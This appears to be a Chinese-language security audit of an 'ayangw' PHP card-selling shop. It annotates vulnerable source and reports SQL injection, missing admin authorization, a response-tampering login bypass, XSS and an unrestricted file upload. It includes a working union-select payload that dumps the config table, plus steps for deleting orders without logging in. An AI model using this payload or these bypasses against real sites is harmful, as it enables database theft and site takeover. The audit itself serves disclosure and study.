注意:代碼審計的過程全寫在注釋裡面
/ajax.php檔案 存在SQL注入
<?php
include 'ayangw/common.php'; //這裡看到包含了common.php檔案 主要就是對于配置的加載 裡面沒有封裝任何過濾函數
@header('Content-Type: application/json; charset=UTF-8');
if(empty($_GET['act'])){ // 這裡我們發現也沒有封裝session類 僅僅是判斷是否傳參就可以造成通路 那麼可以直接繞過
exit("非法通路!");
}else{
$act=$_GET['act'];
}
switch ($act){ //一個switch的分支 一共有4個不同的功能 我們就挑一個功能 selgo
//異步擷取商品
case 'selgo':
$select = "<option>請選擇商品</option>";
$tpID = $_POST['tyid']; // 這裡的tyid傳參沒有過濾導緻下一行直接寫入資料庫裡面 進而導緻SQL注入
$sql = "select * from ayangw_goods where state =1 and tpId = ".$tpID;
echo $sql; //列印下sql語句
$res = $DB->query($sql);
$i=1;
while ($row =$DB->fetch($res)){
$c = $DB->count("SELECT COUNT(id) from ayangw_km where stat = 0 and gid =".$row['id']);
$select.="<option id='".$row['id']."' value='".$row['gName']."'kc='".$c."' title='".$row['price']."' alt = '".$row['gInfo']."'>".$row['gName']."</option>";
}
exit('{"code":0,"msg":"'.$select.'"}');
break;
//建立訂單
case 'create':
$out_trade_no = $_POST['out_trade_no'];
$gid = $_POST['gid'];
$money = $_POST['money'];
$rel = $_POST['rel'];
$type = $_POST['type'];
$sql = "insert into ayangw_order(out_trade_no,gid,money,rel,benTime,type)
values('{$out_trade_no}',{$gid},{$money},'{$rel}',now(),'{$type}')";
$b = $DB->query($sql);
if($b > 0){
exit('{"code":0,"msg":"ok"}');
}else{
exit('{"code":-1,"msg":"no"}');
}
;
break;
//查詢卡密庫存
case 'selKm':
$gid = $_POST['gid'];
$sql = "select * from ayangw_km where stat = 0 and gid = ".$gid;
$res =$DB->query($sql);
if($row = $DB->fetch($res)){
exit('{"code":0,"msg":"ok"}');
}else{
exit('{"code":-1,"msg":"no"}');
}
;break;
//使用者提取卡密
case 'tqKm':
$t = $_POST['t'];
$sql = "select * from ayangw_km
where out_trade_no ='{$t}' or trade_no = '{$t}' or rel = '{$t}'
ORDER BY endTime desc
limit 1";
$res =$DB->query($sql);
$ginfo = "";
if($row = $DB->fetch($res)){
$sql2 = "select * from ayangw_goods where id =".$row['gid'];
$res2 = $DB->query($sql2);
$row2 = $DB->fetch($res2);
$ginfo ="<tr><td id='td1'>".$row2['gName']."</td><td id='td2'>".$row['out_trade_no']."</td><td id='td3'>".$row['endTime']."</td><td id='td4'>".$row['km']."</td></tr>";
exit('{"code":0,"msg":"'.$ginfo.'"}');
}else{
exit('{"code":-1,"msg":"無本條記錄"}');
}
;break;
default:
exit('{"code":-2,"msg":"NOT"}');
break;
}
payload
POST:tyid=1 union select 1,group_concat(0x7e,ayangw_k,0x7e,ayangw_v),3,4,5,6,7 from ayangw_config
标題 /admin/ajax.js 和ajax.php 越權
/admin/ajax.php
switch ($act){ // switch 兩個分支 其實不止 我這裡就舉例了兩個 因為這裡的兩個是不同的功能 其他的都類似
//驗證登陸
case 'checkLogin':
$user = $_POST['user'];
//echo $user;
$pass = $_POST['pass'];
//echo $pass;
if($user == $conf['admin'] && $pass == $conf['pwd']){
exit('{"code":1,"msg":"登陸成功"}');
}else{
exit('{"code":0,"msg":"使用者名或密碼錯誤"}');
}
;break;
//删除訂單
case 'delOrd':
$id = $_POST['id'];
$sql = "delete from ayangw_order where id = ".$id;
$b = $DB->query($sql);
if($b > 0){
exit('{"code":1,"msg":"删除成功"}');
}else{
exit('{"code":-1,"msg":"删除失敗"}');
}
;break;
//删除卡密
/admin/js/ayangw.js
//登陸驗證
$("#login_submit").click(function(){
var user = $("#user").val();
var pass = $("#pass").val();
if(user == null || pass == null || user == "" || pass == ""){
layer.msg('使用者名和密碼不能為空!');
return false;
}
var ii = layer.load(2, {shade:[0.1,'#fff']});
$.ajax({
type : "POST",
url : "ajax.php?act=checkLogin",
data : {"user":user,"pass":pass},
dataType : 'json',
success : function(data) {
layer.close(ii);
if(data.code == 1){
layer.msg(data.msg);
$.cookie("user",user);
$.cookie("pass",pass);
$.cookie("loginInfo",$.md5($.cookie("pass")));
window.location.href='./';
}else{
layer.msg(data.msg);
return false;
}
},
error:function(data){
layer.close(ii);
layer.msg('系統錯誤!');
return false;
}
})
})
//删除訂單
$(".btndel").click(function(){
if(confirm("确定要删除嗎?")==false){
return false;
}
var id = $(this).attr("id");
var ii = layer.load(2, {shade:[0.1,'#fff']});
$.ajax({
type : "POST",
url : "ajax.php?act=delOrd",
data : {"id":id},
dataType : 'json',
success : function(data) {
layer.close(ii);
if(data.code == 1){
layer.msg(data.msg);
location.reload();
}else{
layer.msg(data.msg);
return false;
}
},
error:function(data){
layer.close(ii);
layer.msg('系統錯誤!');
return false;
}
})
})
因為ajax.php裡面沒有進行是否授權的檢查是以ayangw.js 檔案裡面ajax可以直接請求背景 達到越權的目錄
$(".btndel").click(function(){
if(confirm("确定要删除嗎?")==false){
return false;
}
var id = $(this).attr("id");
var ii = layer.load(2, {shade:[0.1,'#fff']});
$.ajax({
type : "POST",
url : "ajax.php?act=delOrd",
data : {"id":id},
dataType : 'json',
success : function(data) {
layer.close(ii);
if(data.code == 1){
layer.msg(data.msg);
location.reload();
}else{
layer.msg(data.msg);
return false;
}
},
error:function(data){
layer.close(ii);
layer.msg('系統錯誤!');
return false;
}
})
})
直接發送這樣一個ajax請求 裡面的id為賬單的id則可以達成越權的操作
同樣的以上的ayangw.js的登陸驗證的功能同樣沒有進行任何的驗證 是以我們抓包在response裡面把data.code改為1 則直接進入背景
背景XSS
前端可以重寫js的函數
下單的聯系方式
function checkLx(num){
var t=num;//這個就是我們要判斷的值了
if(isNaN(t) && t !=""){
return true;
}else{
return false;
}
}
可以達到xss的目的
背景的任意檔案上傳
($_GET['mod']=='upimg'){
echo '<div class="panel panel-primary"><div class="panel-heading"><h3 class="panel-title">更改首頁LOGO</h3> </div><div class="panel-body">';
if($_POST['s']==1){
$extension=explode('.',$_FILES['file']['name']);
if (($length = count($extension)) > 1) {
$ext = strtolower($extension[$length - 1]);
}
if($ext=='png'||$ext=='gif'||$ext=='jpg'||$ext=='jpeg'||$ext=='bmp') //要是在這個範圍内 那麼$ext='png' 如果不是的話那麼就任意字尾了
$ext='png';
copy($_FILES['file']['tmp_name'], ROOT.'/assets/imgs/logo.'.$ext);
echo "成功上傳檔案!<br>(可能需要清空浏覽器緩存才能看到效果)";
}
echo '<form action="set.php?mod=upimg" method="POST" enctype="multipart/form-data"><label for="file"></label><input type="file" name="file" id="file" /><input type="hidden" name="s" value="1" /><br><input type="submit" class="btn btn-primary btn-block" value="确認上傳" /></form>*請上傳3
直接任意檔案上傳